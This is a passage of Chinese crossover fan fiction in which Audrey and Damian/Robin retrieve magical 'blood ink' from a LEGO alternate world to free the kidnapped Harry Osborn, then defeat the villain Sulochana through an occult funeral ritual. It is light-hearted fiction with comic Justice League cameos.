苏洛恰那！这个名字忽然跳入奥德莉脑中。可是她昨天才和苏洛恰那起争执，在那之前苏洛恰那甚至都不知道她的名字。难不成苏洛恰那连夜抓走了哈利来威胁自己？ 两天没有收到奥德莉的消息，达米安开始考虑是否要以罗宾身份去找她。出发去夜巡前，他忽然接到奥德莉的电话。 “达米安，你现在有空吗？我需要联系蝙蝠侠，有急事请他帮忙。” 我的作用就是个传声筒吗？达米安气得鼓起脸，咬牙说：“你要不要蝙蝠侠的手机号码啊？” “啊？”奥德莉惊喜，“那也可以。” “开个玩笑，不要当真。”达米安冷冰冰地说。“我现在就请管家联系他。你在阿卡姆吗？我去接你。” “不用了，我自己叫车过去。”说话间，奥德莉已经传送到市中心，坐上了一辆出租车。每一分钟都很重要，她完全不想浪费在路上。 蝙蝠侠、达米安和提姆一起看着电脑屏幕，上面显示奥德莉的手机信号地点瞬间跨越了半个哥谭，从阿卡姆出现在市中心。 “大概是什么传送魔法吧？”蝙蝠侠说。“她很着急。” “但她没有直接来庄园，也许是有什么限制。”提姆分析。 达米安仍握着手机，听着对面的动静，直到奥德莉和司机说完目的地，他才开口说：“真巧，蝙蝠侠刚来家里，我让他等你。” 如果是在平时，奥德莉一定会为蝙蝠侠的突然登门拜访和韦恩先生的夜间活动浮想联翩。但现在她心烦意乱，便只是应了一声“谢谢”就挂断了电话，达米安的那句“你还好吗”被无情地打断了。 “她会不会意识到自己路上的时间短到不合理？”达米安瞪着手机。 “我建议你别主动提起这一点，免得她更加心烦。”围观了全程的提姆笑眯眯地出主意。 达米安竟然“嗯”了一声，然后换回韦恩少爷的装束，去客厅等待奥德莉。 自从来到哥谭的短短数日，这已经是奥德莉第四次和蝙蝠侠对话了，她不禁感叹哥谭真是一个多事之地。 蝙蝠侠听完哈利疑似失踪的事情，说：“昨晚到现在，苏洛恰那没有和可疑人士联系过。” “如果苏洛恰那早就盯上了你，那这也可能是她的事先安排。”达米安思索着，“她可能只是假装不知道你的名字，让你放松警惕。” “也许吧。但她对我的拒绝很惊讶。如果她有信心我会答应为她做事，又何必提前做这种得罪人的布置呢。” “我们不能完全排除苏洛恰那的可能，但这件事情应该由复仇者联盟处理，他们对纽约更熟悉。”蝙蝠侠说。 格温说彼得联系过斯塔克先生，意味着复联已经在帮忙了。奥德莉隐晦地说：“我的一个朋友已经联系复联了。但是他还不知道苏洛恰那的事情。” 蝙蝠洞的资料已经涵盖了奥德莉和她的几个好友的信息，蝙蝠家也知道复仇者联盟各位成员的秘密身份，此刻听她这样说，立刻知道她说的朋友就是彼得，而且她知道彼得就是蜘蛛侠。 没有就这个问题多说什么，蝙蝠侠只是安慰她：“我会将苏洛恰那的信息共享给复联，也许对他们的调查有帮助。” “如果我直接去找苏洛恰那问一问呢？就算是搞错了，也只是加深对她的得罪程度，但我们已经结仇了。她昨天没有把我扣下，今天应该也不会。” 蝙蝠侠不赞同奥德莉这种横冲直撞的风格，但奥德莉又承诺道：“我不是去打架的，只是去获取信息。” 看她一副“谁也拦不住我”的表情，蝙蝠侠叹了口气，默许了。奥德莉得寸进尺地说：“您能和我一起去吗？” “你不是去打架的，还记得吗？”蝙蝠侠板起脸。 “您去的话，她说实话的可能性更大嘛。” 蝙蝠侠不纵容她这种生怕事情不闹大的念头，但对达米安说：“你和她一起去吧。” 带着蝙蝠侠给的通讯器，奥德莉嚣张地和达米安朝蜕衣俱乐部出发，直接闯入了苏洛恰那的办公室。 苏洛恰那对他们的出现丝毫没有惊讶，依然带着温柔的笑容。她示意追上来的保镖们退出去，然后问：“奥德莉，你是改变主意了吗？” “哈利是不是被你绑架了？”奥德莉不想和她寒暄，直接问道。 “呀，你这么快就发现了。”苏洛恰那说。 对方承认得太快，奥德莉反而怀疑有诈：“你能证明吗？你不会是在骗我吧。” 苏洛恰那从抽屉里拿出一对袖扣：“你应该认得这个吧。” 那是他们三个人凑钱送给哈利的高中毕业礼物，圆形银色袖扣上镶嵌黑色缟玛瑙，最上一层是长尾线饰板和白色珍珠母组成的方形装饰。奥德莉拿起其中一枚，背面刻着哈利名字HarryOsborn的首字母H.O. “你怎么证明他还活着？”奥德莉又问。 苏洛恰那拿起桌上的遥控器，打开挂在墙上的屏幕。镜头中，哈利坐在一间舒适的起居室里，正在读书。 苏洛恰那又伸手按下桌上一枚麦克风的按钮，柔声说：“哈利，如果还想要看什么书，尽管告诉我。”她的声音同时从屏幕旁的音响中慢了半秒传出来，这是声音传到哈利那边之后又通过监视设备被传递回来的缘故。 哈利看向摄像头的方向，又指指身旁的一叠书，说：“谢谢。暂时不用了。” 苏洛恰那关闭设备，看向奥德莉。奥德莉一直盯着哈利的影像，看他似乎没有被苛待，暂时地松了一口气。 “你要怎么才能放了哈利？”奥德莉问。 “你知道我想要什么。”苏洛恰那递过去一个箱子，“仪式内容和材料。” “在那个世界，我去哪里能找到血墨？清算人组织吗？” “我了解的信息有限，要靠你自己探索了。”苏洛恰那不在乎奥德莉需要在另一个世界花多久时间，反正回来的时刻和出发的时刻是一样的。“仪式时间是凌晨两点。” 奥德莉拿起箱子，起身准备离开：“明天早上三点，你在这里等我。” “不用这么早吧？”苏洛恰那愕然。 “我早上要上班，不能迟到。”奥德莉很有责任心地说。“我还得留点时间迎接哈利。” 面对这位时间管理大师，苏洛恰那无语了一瞬，柔美的声音再一次响起：“不要耍花招，我的属下在那里随时等候我的指令，只要一秒钟就可以杀死哈利。” 第27章 一离开蜕衣俱乐部，奥德莉的情绪就大爆发了，回韦恩庄园的路上一直在怒…… 一离开蜕衣俱乐部,奥德莉的情绪就大爆发了，回韦恩庄园的路上一直在怒骂苏洛恰那，同时畅想取回血墨之后的报复：“如果我取回来却不给苏洛恰那,当着她的面全部销毁……” “那你干嘛还要费力气去取？”达米安无语。“你不是为了让她放了哈利吗？” “呃……那我就先给她,等哈利回来后再把她关起来,让她没办法制作灰烬账簿。或者，就算她找机会制作成功了，我把她打死,她难道能复活吗？” 不要和一个气头上的人讲道理，就如同不要和一个醉鬼辩论一样。达米安才不去做这种徒劳的事，任由奥德莉大放厥词。 奥德莉终于在到达庄园前恢复了理智，准备做正事。 此时已经是晚上十一点了。蝙蝠侠从通讯器中听到了全部对话,在见到奥德莉之后立刻告诉她：“我正在追踪破解苏洛恰那的通讯线路,只要找到她把哈利关在哪里，超人立刻就去救他出来。” 奥德莉摇摇头：“哈利可能不在这个世界,而是只有她知道的某个小空间里。我不能冒险。” 蝙蝠侠说：“你已经决定要去她指定的世界了？那里可能非常危险。” “我会尽量避免在那个世界涉入太深，拿到血墨我就回来。”奥德莉很坚定地说。“我需要立刻回阿卡姆做些准备。您不必担心，对于这个世界而言,我只是离开了一秒钟。回来之后我就联系您。” 蝙蝠侠不得不问出最坏的可能性：“如果两点零一秒你没有回来呢？” “那就麻烦您联系维斯勒医生,她是我的指导教师，对我实习期间的行为和安全负全责。她会想办法救我的。” “我和你一起去。”达米安不知什么时候离开换了衣服，以罗宾的身份出现。 “不必了吧。”奥德莉摸摸跟着她奔波了一晚的布莱克，打算只带上它。“我一个人就可以。” “答应他。”布莱克忽然跳起来，“万一你去了另一个世界,又一次无法召唤我怎么办？带上罗宾,他可以帮你打架。” 奥德莉犹豫不决：“这种危险的事情怎么能带上别人。更何况他还是未成年人。” 一人一猫争执不休之时，蝙蝠侠说：“我同意罗宾的建议。” “好吧。”既然罗宾的家长批准,奥德莉便答应了。但在罗宾看来，这意味着在奥德莉心里自己的意见比不上蝙蝠侠的，又在心里的小本本上给奥德莉记下一笔。 “我带罗宾一起回阿卡姆。”奥德莉拉起罗宾的手，对蝙蝠侠说。“等我回来，请您帮我阻止苏洛恰那的不法交易。” “祝你们成功。”蝙蝠侠说。 带着罗宾传送回到阿卡姆的宿舍之后，奥德莉简单收拾了背包，装上了羊皮卷以及用于返程仪式和其它仪式的材料。 上一次穿越到异世界时，布莱克明明离她很近，但没有被一并带走。在她穿越后，她尝试召唤布莱克却不成功。他们想不通原因，这次决定做新的尝试，让布莱克回漫宿等待。 奥德莉在出发前解除了对布莱克的召唤，临别前它眼泪汪汪地看着奥德莉，说：“你到了之后，别忘了召唤我，也许这一次能成功呢。我肯定能帮上你。” “我保证。”奥德莉亲亲布莱克的额头，看着它从自己手中消失不见。 见她布置好仪式后便坐在桌边发呆，罗宾问：“你紧张吗？” “有一些。”奥德莉如实回答。 “我会保护你的。”罗宾说。 “我也会保护你的。”奥德莉回答。 达米安又一次对奥德莉的话产生了熟悉的感觉。他略带茫然地看着奥德莉站起身拉住自己的手，然后听到她元气十足地说：“我们出发！” 落地时，奥德莉觉得有点重心不稳，前后晃了几下才站好。她赶紧检查了自己的背包，东西还在——等等，她的手呢？她可爱的五根手指头呢？ 为什么会变成U型手啊？ 她转身看向旁边的达米安，面面相觑时，两人都从对方的眼睛里看到自己的倒影。 “我们变成乐高了？”奥德莉惊呼。 “看起来是这样。”达米安试着活动四肢，又原地做了个后空翻，“但还是可以灵活地行动。” 奥德莉也试着抬起小短腿走了几步，确认自己行动自如，然后看看周围大片的玉米地：“你能认出这是哪里吗？” 别问她是怎么从堆砌的乐高颗粒上看出这是玉米地的，可能是宇宙法则帮助他们适应了这种模式。 达米安仔细一看，地里立着的稻草人穿着十分眼熟的服饰。这不是肯特农场吗？他和好友，超人之子小乔纳森肯特，来这里玩过许多次。 “我们在堪萨斯州，斯莫维尔。”达米安说。 奥德莉佩服地看看达米安，想不明白他是怎么从一片毫无特色的田地看出位置的。“我们去找附近的农民问问信息吧。” “罗宾，你怎么没有告诉我你要来，我可以去接你的。”一个乐高小人热情地跑过来，和达米安打招呼。“这是你的朋友吗？” “小乔？”达米安不确定地问。 “对啊。”小乔不解地看向好友，“你看起来和平时不太一样。” “这是奥德莉，”达米安清清嗓子，为两人互相介绍，“这是小乔纳森，你可以叫他小乔。” 等到面前两个乐高小人用U型手握了握之后，达米安又说：“我不是你们世界的罗宾。我们来自另外一个世界。” “哇！好酷啊。”小乔毫不犹豫地接受了达米安说的话，“你们一定饿了吧，玛莎奶奶正在烤苹果派。” 乐高颗粒拼出的苹果派？奥德莉大为心动。 “我最喜欢苹果派了！”小乔一边领着他们往家走一边说。他和小达米安同龄，这个世界的他们才十二岁。 和达米安一样，小达米安在十一岁来到哥谭，那时的他能力卓绝但性格非常不讨喜。小达米安被安排到小乔所在的大都会初中就读，还成了同班同学。在超人的拜托下，小乔主动去和小达米安交朋友，一开始鸡飞狗跳的场面可想而知。 但谁能抵达得了小太阳呢？超人家好像专克蝙蝠家，小达米安半夜想起这一点都要气得咬被角。 在打打闹闹中，小达米安和小乔成了好朋友，还悄悄组了个队，名字叫做“超凡双子”。 “我的妈妈是星球日报的著名战地记者，”小乔很骄傲地介绍，其实是在机智地保护所有人的真实身份。他见达米安自称罗宾，马上意识到他不想让奥德莉知道自己的另一重身份。“我爸爸也是星球日报的记者。他经常采访超级英雄，蝙蝠侠和超人他都认识哦。” 奥德莉明白小乔的意图，但是这个介绍他爸爸听了会不会哭晕在电脑前？著名战地记者听起来就很厉害，超英专访记者听起来则逊色不少。但她很捧场地说：“那你的家长都好了不起啊，小乔将来也想成为记者吗？” “我还没有想好。”小乔挠挠头，可爱地皱起脸。 小乔的家长和他一样的热情好客，玛莎奶奶慈爱地端出了苹果派（自家农场出产的苹果、鸡蛋和面粉）和牛奶（自家奶牛产的）。奥德莉从没吃过这么好吃的苹果派。 小乔的妈妈露易丝肯特听说两人是从另一个世界来的，主动提出请丈夫帮忙联系超人和蝙蝠侠。十分钟后，超人拎着蝙蝠侠的披风登场，神奇女侠戴安娜普林斯也一起来了。 “超人，我都说过多少次了，这种拎法一点都不酷。”蝙蝠侠在即将着陆前要求超人松开他，然后在空中做出一个帅气的翻滚才着陆。奥德莉隔着玻璃围观全程，激动地用U型手拼命鼓掌。 “因为你说想快点到嘛。”超人委屈巴巴地说。 有蝙蝠侠能看破一切谎言的双眼以及神奇女侠的真言套索在，奥德莉和达米安很快取得了正义联盟三巨头的信任。 “听说你是我的同位体？”一个小男孩的声音响起，带着一点挑剔和嫌弃。 奥德莉回头一看，是小罗宾！他又臭屁又可爱地叉腰站在那里，旁边的小乔一脸乖巧。 在听到露易丝的呼叫后，小达米安也想跟着去，被蝙蝠侠拒绝了。但这能难得倒他吗？蝙蝠侠会滴滴打超，他也会啊。 我小时候是这样的吗？达米安看着小版的自己陷入了沉思。 “你好呀，我是奥德莉。”见达米安不吭声，奥德莉主动去打招呼。 “你好。你是罗宾的朋友，那你也是个超级英雄吗？”小达米安问。 “我不是。”/“她是。”奥德莉和达米安齐声给出相反的答案。 “你为什么觉得你不是超级英雄？”达米安惊讶地看向奥德莉。 “因为我只是个平平无奇的调查员啊。”奥德莉很自然地说。 “勇敢地保护他人，坚定地对抗邪恶，在我看来你已经是一个超级英雄了。”达米安说。 “罗宾，你的同位体说得太好了！”小乔戳戳小达米安。 超人响应：“我们相信罗宾的判断。蝙蝠侠也同意。”他抓着蝙蝠侠的手一起举起来。 “我证明罗宾说的是真心话。”神奇女侠摇一摇手里的套索。 被一圈乐高小人围着，奥德莉的脸刷地红了，结结巴巴地说：“谢谢你的认可。” 第28章 “我们的世界竟然有血墨这么邪恶的东西。”在得知奥德莉对接下来的行动…… “我们的世界竟然有血墨这么邪恶的东西。”在得知奥德莉对接下来的行动毫无头绪时,蝙蝠侠主动帮她推理幕后黑手，并严肃承诺：“我一定会将这个坏蛋绳之以法。” “我们和你一起。”超人和神奇女侠齐声响应。 “我怀疑是卢瑟干的。”超人的超级大脑在蝙蝠侠旁边总是懒得进行复杂运算，此刻的单线程思路是“遇事不决先怪卢瑟”,这个结论在百分之九十九的情况下竟然还都是对的。 “不是他。”蝙蝠侠否定道。“他是个人类至上主义,只会想方设法干掉外神。” “这个人可能是魔法侧的,对于这种黑暗魔法，我们应该联系康斯坦丁。”神奇女侠提议。 “我同意。无论你有多成功，都不要离铲子的末端太远。”超人附议,习惯性地说一句农场谚语。在场众人都露出茫然的表情，只听懂了“我同意”。 蝙蝠侠也赞同，拿出通讯器呼叫魔法师约翰康斯坦丁。下一秒，一个身穿风衣、嘴里也许叼着香烟的乐高小人就出现在他们面前。 为什么是“也许”呢？因为乐高是全年龄向作品,康斯坦丁嘴里的棍状物被打了马赛克…… “血墨,”康斯坦丁思索了一会儿，“许多年前有个组织很爱搞这一套,后来他们倒台了。” “你能查出他们的库存流向何处吗？” “我去黑市打听一下。”康斯坦丁说，然后消失了。 “我也去阿卡姆问问。你们暂时住在农场吧。”蝙蝠侠说。超人自动自发地去拎他的披风，服务态度十分良好。 大人们各有各的忙,最后只剩下奥德莉和达米安,以及不肯离开的两个小朋友。 “你小时候挺可爱的。”奥德莉悄悄对达米安说。 “不要用可爱这种词形容我。”小达米安听见了，立刻抗议。 “罗宾，姐姐是在夸你，我们应该有礼貌地说谢谢。”小乔说。 “啧。”小达米安别扭了一下，但还是说：“谢谢姐姐。” 达米安在一旁暗笑。每次看到达米安尾巴偷偷翘到天上的样子,奥德莉就想逗他。 “罗宾,你多大了？”奥德莉忽然说。 “十七。”达米安没有防备地回答。 “哦。”奥德莉拖长了声音。 “怎么了？”达米安因她的语气而忽然警惕起来，像只炸毛的猫。 “所以你也应该喊我姐姐。”奥德莉说。 被两个小朋友在旁边盯着,达米安的头上开始冒烟，不知道是被气的还是在害羞。最后他瞪了奥德莉一眼，转身背对着她不说话。 奥德莉见好就收，自顾自开始尝试召唤布莱克，可惜依然没有成功。 “姐姐，我带你去看奶牛吧。”小乔以为她感到无聊，积极地招待客人。 “好啊，我还没见过呢。”作为一个纽约人，奥德莉见过的动物主要是老鼠。 肯特农场很大，养了不少的动物，鸡牛羊狗一应俱全。在小乔的指导下，奥德莉尝试着给奶牛挤奶，又去给牛喂草。她的动作笨拙，但小乔一点也不嫌弃，非常耐心地陪着她。 出乎她意料的是，达米安对动物很有一手，熟练地给牛洗澡，还会给羊剪毛。 肯特家还有一条特别聪明的狗，披了一条红披风，非常神气。它热情地把球叼给奥德莉，让她陪自己玩。 在奥德莉享受农家乐的时候，蝙蝠侠锁定了一个嫌疑对象：正在阿卡姆认真做科研的急冻人维克多弗莱斯博士。 急冻人原本是一名低温学博士兼工程师，在挚爱的妻子身患绝症且无药可治时，他决定将妻子以人体冷冻技术保存起来，借此阻止她的病情持续恶化，并为自己争取更多时间去研究治疗药物。他利用公司资源做私人研究的行为被老板发现后，两人扭打起来，不慎导致冷冻化学气体泄漏，急冻人没有死，但自此无法在常温下存活，必须待在低温盔甲或低温环境里。 由于类似的病患太少而没有利润空间，没有大型医药公司愿意研究他妻子的病症。随着急冻人的研究迟迟没有进展，他很担心自己去世后后继无人，好几个阿卡姆病人都作证听过他自言自语，说“要是我能多活十年就好了”。 康斯坦丁传回的消息佐证了急冻人的关联。据说有个穿着装甲、手持冷冻枪的人在上个月的地下拍卖会上实施了抢劫，将清算人组织留下的所有血墨和制作灰烬账簿的方法都抢走了。 奥德莉没想到调查开展得这么顺利，只用了一天就锁定目标。 “蝙蝠侠太厉害了！哪个世界都是如此！”此次任务完全坐享其成，自己一点力也没出，奥德莉觉得有点不好意思。 达米安指着天空说冷笑话：“快看，那是鸟？是超人？是蝙蝠飞机。” 奥德莉高高兴兴地和达米安坐上来接他们的蝙蝠飞机，却见小乔和小达米安哒哒哒地跑了上来，还很自觉地系好安全带。 “你们两个不能去阿卡姆。”奥德莉摆出最严肃的表情，但小乔的狗狗眼杀伤力太大了，还有他旁边的小达米安，虽然很傲娇的样子，却也是用绿眼睛一下一下地瞟她。 “可以带上他们吗？”毫无原则的奥德莉和达米安商量。“小罗宾也很能打，会照顾好小乔的。而且正义联盟在，应该是安全的。” 前一天晚上，小达米安提出要和达米安比武，达米安答应了，并且一点没放水，胜之不武还洋洋得意。奥德莉不知道如何判断乐高小人的武力高低，但能在空中跳来跳去肯定算是厉害吧。 达米安无所谓地点点头，两个小朋友高兴地欢呼起来。 他们到达时，正义联盟众人已经将急冻人打服了，急冻人正痛哭流涕地忏悔着自己的邪恶计划。 “如果现实中的反派也能这么容易被说服就好了。”达米安感慨。 “血墨到底长什么样子，可能只有回到原本的世界才能知道了。”奥德莉从蝙蝠侠手中接过红色的乐高小颗粒，把它们放进背包里。 急冻人抽抽噎噎的声音如同魔音绕耳，令人无法忽视。蝙蝠侠哒哒哒地走到他面前，说：“我会联系韦恩集团，让他们一起帮你研究的。” 急冻人感动地拥抱住蝙蝠侠，哭得更大声了。蝙蝠侠僵在原地，但允许急冻人抱了五秒，然后眼神示意超人把急冻人拉开。 超人立刻照做了，然后大声地说：“蝙蝠侠，你是我见过的最好心的人，也是最聪明的人。”他也想去拥抱蝙蝠侠，但是被蝙蝠侠投以不赞同的眼神，只好站在原地继续说：“我爸以前常说，两只羊顶角时，聪明的牧羊人先去补栅栏。” “超人，禁止说我们听不懂的农场谚语！”神奇女侠立刻抗议。 “这句话是什么意思啊？”奥德莉没听懂，困惑地问小乔。 “可能是说要从根源解决问题。”小乔眨眨眼。虽然他也是个农场男孩，但有时候也听不懂自己老爸说的这些。 “我们也能拥抱蝙蝠侠吗？”几个阿卡姆病人从门口探出头，充满羡慕地说。“还是先被蝙蝠侠打一顿才可以？” 蝙蝠侠的脸立刻黑了。他们以为这是在开粉丝见面会吗？ 依依不舍地和乐高小人们告别后，奥德莉和达米安回到了自己的世界。 白光消失后，奥德莉松开达米安的手，却被他再一次握住。奥德莉疑惑地看他，对上一双混合了懊恼与愤怒的绿眼睛。他的神情如此复杂，她完全读不懂。 “怎么了？”不等达米安回答，奥德莉先用另一只手打开通讯器，告诉蝙蝠侠：“我们回来啦，马上去韦恩庄园。” “我们一分钟后再去。”达米安说，关闭了通讯器。 “为什么？”奥德莉不解，把自己的手抽回来。她召唤出布莱克，接住这只飞扑到自己怀里的小猫咪。对于布莱克而言，真是一秒不见，如隔三秋，它一看自己又出现在宿舍，就知道异世界召唤再一次失败，气得对着空气打喵喵拳。 达米安看着奥德莉心不在焉的样子，想说什么，又咽了回去。 “他怎么了？”布莱克问。 “你怎么了？”奥德莉试探着问达米安。 “这件事情结束后，我们得谈一谈。”达米安有太多想说的，但他需要先理清自己的想法。而且现在救哈利是第一要务，不能耽误。 达米安严肃起来和蝙蝠侠太像了，那种有如实质的压迫感令奥德莉莫名就开始心虚，而布莱克尖叫起来：“他是不是恢复记忆了？” “啊……”奥德莉更心虚了，但转念一想：“达米安失忆，还轮不到罗宾来替他讨说法。他总不会自曝身份吧？” “对哦，他一直在瞒着你，应该是你才有资格生气。”布莱克进谗言。“他要是指责我们，你就先发制人。” 一人一猫自欺欺人地安心了，带着达米安传送到韦恩庄园。 第29章 蝙蝠侠想不通异世界发生了什么，为什么穿越回来的奥德莉和达米安之间气…… 蝙蝠侠想不通异世界发生了什么,为什么穿越回来的奥德莉和达米安之间气氛僵硬，毫无眼神交流。偏偏他俩还趁着对方不注意若有所思地偷看，很像吵架之后不知道该如何和好的小朋友。 “取回来了,”奥德莉把血墨拿出来,现在看来它们像是无暇的红宝石。“那里的正义联盟帮了我们。” 蝙蝠侠小心地拿起一粒血墨,一瞬间他仿佛听见来自遥远星空的不可名状的咆哮，然后又归于沉寂。 “我还拿到了灰烬账簿的制作方法。”奥德莉拿出一本小册子，“其中有很多信息可供我们利用。” 执掌寿命的司辰是昕旦,祂用来管理寿命的工具同样被称为灰烬账簿。世界上第一位清算人是被祂选中的对象，被传授了进行寿命交易的方法。上一任清算人死后，昕旦会再选一位继任者。 然而，人类总是贪婪的,有些清算者试图让自己的后人接替自己,有些人通过种种手段获得了制作方法而成为未经司辰认可的清算人。这些人最后都没有什么好下场。 昕旦对清算人制作的灰烬账簿投以玄妙的关注，但祂并非时刻注意人间。与此同时,人类可以在葬礼上向祂敬拜，将得知的罪行报告给祂。 昕旦冷冽而苛刻，祂总是索取必要之物,亦不会容忍祂设置的平衡被打破。 人类可以通过欺骗司辰来争取一时的优势。但昕旦终将收取祂的欠款。 “如果昕旦知道了苏洛恰那的僭越行为,会立刻收回她曾经增加的所有寿命。”奥德莉摩拳擦掌地说，“那她会立刻化为灰烬。” “听起来是个不错的计划。”蝙蝠侠也读了一遍小册子，“这里提到与昕旦对话有很高的风险，拂晓的一抹浅痕可以降低风险，但无法完全消除。这是什么意思？” “那是粉色兰花的代称。”奥德莉解释。 “明白了。我来准备兰花和一场葬礼。”蝙蝠侠说。 “同时,请您不要中止对苏洛恰那的监视。我的计划有一个最致命的问题,那就是近些年司辰越来越少对信奉祂们的教会给予回应，像我这种非教徒更可能被无视。” “你觉得成功的几率很小？” “大概五五开。按照记录中对昕旦的描述来看,祂的性格冷酷，又对这种欺骗行为深恶痛绝，我想祂会很乐意降下惩罚。” “这个成功率已经值得一试了。”蝙蝠侠说。 “还有一点，昕旦偏好黎明，我听说无敌太阳教会曾每日在黎明前冷冽之时敬拜祂。我建议把葬礼时间安排在凌晨四点。”时间管理大师奥德莉再次上线。 “没问题。”更紧急的任务安排蝙蝠侠也完成过，他立刻安排超人和闪电侠这两个速度最快的成员帮忙。由于涉及到魔法，黑暗正义联盟的扎坦娜和康斯坦丁也被找来作为后援。 超人通过超级听力听到哥谭的某个角落里有一孤苦伶仃之人刚刚去世，他立刻去将对方的尸体带来，为逝者准备一场葬礼。 闪电侠跑到地球的另一边买*来许多品种的粉色兰花，将韦恩家族墓地的一角布置得如同婚礼现场。 “韦恩先生不会生气吗？”奥德莉在一旁崇拜地围观蝙蝠侠的饱和式备战方法，小声地问他。 “他不会介意的。”蝙蝠侠说。 “老爷会很高兴能帮上忙的。”跟着一起熬夜的阿尔弗雷德附和。在他的指导下，粉色的花海被摆出了庄重的感觉。 奥德莉猝不及防地被塞了一口蝙布口粮。有老管家的首肯，已经登堂入室的蝙蝠侠无疑是官配，花花草草们不要来碰瓷。 在有条不紊地作出各种安排时，蝙蝠侠还有空提醒奥德莉：“你该出发去见苏洛恰那了。” 又一次踏进苏洛恰那的办公室，奥德莉和罗宾还是分别坐在之前的座位，但不自觉地离对方远一点。 苏洛恰那笑着说：“你们吵架了？上次来还好好的呢。” 上次和奥德莉来的是达米安，这次是罗宾。掉马来得猝不及防，达米安几不可察地僵住了，没有说话。 “呀，我是不是说了不该说的秘密。”苏洛恰那故作姿态，但看到奥德莉没有露出惊讶，苏洛恰那立刻又说：“不过看来她已经知道了。” 这一次轮到奥德莉坐立不安了，她气呼呼地问：“你的废话说完了吗？哈利呢？” “血墨呢？”苏洛恰那反问。 奥德莉拿出一个小包，将里面的血墨哗啦一声倒在桌上。苏洛恰那仔细查看了一番，拿起一粒递给奥德莉。 “这一粒有问题吗？”奥德莉不解。 “送给你作为额外的报酬。” “不用了，谢谢。”奥德莉厌憎地说。 “总有一天你会需要它的。”苏洛恰那说。“我在年轻的时候，也像你一样。” “那我更不能拿了，我可不想被诱惑得折堕。”奥德莉坚定地拒绝了。千里之堤溃于蚁穴，如果她收下了，她没有勇气说自己一定永远不会去用它——总有太多不得已的情况，让人一步步地走向深渊。 “好吧。”苏洛恰那没有再劝，打了个响指，熟睡的哈利忽然出现在她旁边的沙发上。 奥德莉立刻冲过去，怒道：“他怎么了？” “现在是凌晨三点。”苏洛恰那哭笑不得，“他在睡觉。” 哈利这时已经被吵醒了，他困惑地看看周围，奥德莉立刻控诉：“你都被绑架了，怎么能睡得着的？” “我被绑架七天了，一直不睡的话岂不是要猝死了？”哈利打个哈欠，平静得到了古怪的程度。“这又是哪里？” “哥谭。”奥德莉说，“回头再和你细说。我们先离开。” 三个年轻人离开了，苏洛恰那的办公室再次安静下来。 回到韦恩庄园，奥德莉将哈利托付给阿尔弗雷德，急着去墓地赶下一场活动。哈利对于被传送到另一个地点一副不在意的样子，只是请管家给他安排个卧室以便继续睡觉。 达米安像个小尾巴一样跟着奥德莉。从乐高世界的回程里，他在一秒内被维多利亚时期的记忆淹没。他记得他们在拉撒路池边相遇，一起穿越了又一起回来，上一秒她还拉住他以免把他落下，下一秒拉撒路池边只剩他一个人，奥德莉不辞而别。 达米安想起扎坦娜的分析。奥德莉对他用了不知什么魔法，连带后果是消除了许多天的记忆。但她不是有意的，甚至可能并不知道。 他忘掉了约定，没有去纽约，所以奥德莉在初见罗宾时表现得那么别扭。但之后她又恢复如初，很自然地和罗宾成为朋友，也和达米安相处融洽。 她知道自己就是罗宾，她是什么时候知道的？她会觉得自己不被信任吗？ 达米安忽而生气，忽而担心，情绪像过山车一样起伏。他真希望一切快点了结，他们能坐下来，好好地说清楚一切。 如果她愿意的话。 四点时，奥德莉开始了仪式。此时是夏天，在场的所有人却都感觉到深冬清晨的那种冷冽，穿透肉/体直达心脏。那是在太阳还未升起时的寒冷感觉。 似乎有什么来过，又离开了。 四周的温度慢慢回升。奥德莉四处张望，试图找出成功与否的痕迹。 “那里少了一朵花。”蝙蝠侠忽然指着花海说。 “哪里？”奥德莉顺着他的手指看去，一点也没看出来。她选择直接相信蝙蝠侠。“苏洛恰那那里怎么样了？” 康斯坦丁的声音从通讯器中响起：“她忽然化作了灰烬。” “血墨呢？”蝙蝠侠问。“找出来，全部带给我。” “咦……”康斯坦丁搜寻了一会儿，甚至用上魔法寻物，“它们不见了。” “难道也被昕旦销毁了？”奥德莉猜测。 “一点痕迹都没留下吗？”康斯坦丁不这么想。 “快看你的脚下。”布莱克忽然说。奥德莉低头看去，自己的脚边的草地里散落着数块红色宝石。 “找到血墨了，”奥德莉马上告诉众人，将血墨捡起数了一遍，数量和她从异世界带回来的一致。“怎么会在这里？” “也许，”康斯坦丁声音凝重，“昕旦选中了你做下一任清算人。” “啊？”奥德莉差点跳起来，“我不干。” “我知道。”蝙蝠侠安抚道。“不要担心，我想祂并非要强制你做什么。祂只留下了血墨，却并未传授你制作方法或给你任何指示，更像是在考验你是否能抵制诱惑。” “希望祂永远不要为此联系我。”奥德莉将血墨递给蝙蝠侠。“虽然它们的制作方法是邪恶的，但是毕竟已经做出来了，谁知道它们还有没有其它用处，销毁了实在可惜。您愿意帮忙保存吗？” “你确定吗？”蝙蝠侠没有立刻去接。 “我不能把它们交给密大，对于研习无形之术的人来说，它们的诱惑太大了。我甚至不敢相信我自己能永远守住本心。如果世上有一个人能坚定地拒绝使用它们，那个人一定是您。”奥德莉说。“而且您也有保护它们的能力。” “我不会辜负你的信任。”蝙蝠侠说，脑中已经设计出三个安保方案。 “谢谢您。”奥德莉完成这么多事情，终于可以放纵困倦涌上。“我要回宿舍休息一会儿，明早，哦不，今早还要上班。” 她又转向阿尔弗雷德：“潘尼沃斯先生，麻烦您照顾哈利，我晚上下班后就来接他。如果他想离开，请您把他打晕。我有事情必须和他当面谈谈。” “交给我吧，小姐。”阿尔弗雷德说。 明明是我先说要谈谈的。达米安在奥德莉身后不远处不高兴地想。她就没什么话要和我说吗？ 然后达米安就被跑到自己面前的奥德莉吓了一跳。 “等我解决完哈利的事情，再和你谈，好不好？” “……好。”达米安满意了，对着奥德莉消失后的空地发呆。 “年轻人吵架与和好的速度真快啊。”蝙蝠侠感叹。 “请不要妄自菲薄，您丝毫不逊色于达米安少爷。”阿尔弗雷德说。 第30章 兢兢业业的实习生奥德莉准时下班离开，晚饭都顾不上吃。幸好万能管家总…… 兢兢业业的实习生奥德莉准时下班离开,晚饭都顾不上吃。幸好万能管家总能先人一步想到他人需求，当奥德莉到达韦恩庄园时，阿尔弗雷德将她领到餐厅,哈利正坐在那里恹恹地吃沙拉,看到奥德莉时对她点点头。 “我们都担心得不得了。那个坏人是在哪里绑架你的？”奥德莉坐到哈利对面,阿尔弗雷德为她端上牛排和沙拉便离开了，给两人留出私人空间。 “早上彼得和格温和我打过电话了。”哈利说。奥德莉回宿舍后，赶紧把找回了哈利的消息告诉两位朋友。“我不是被苏洛恰那绑架的。” “啊？”奥德莉疑惑。 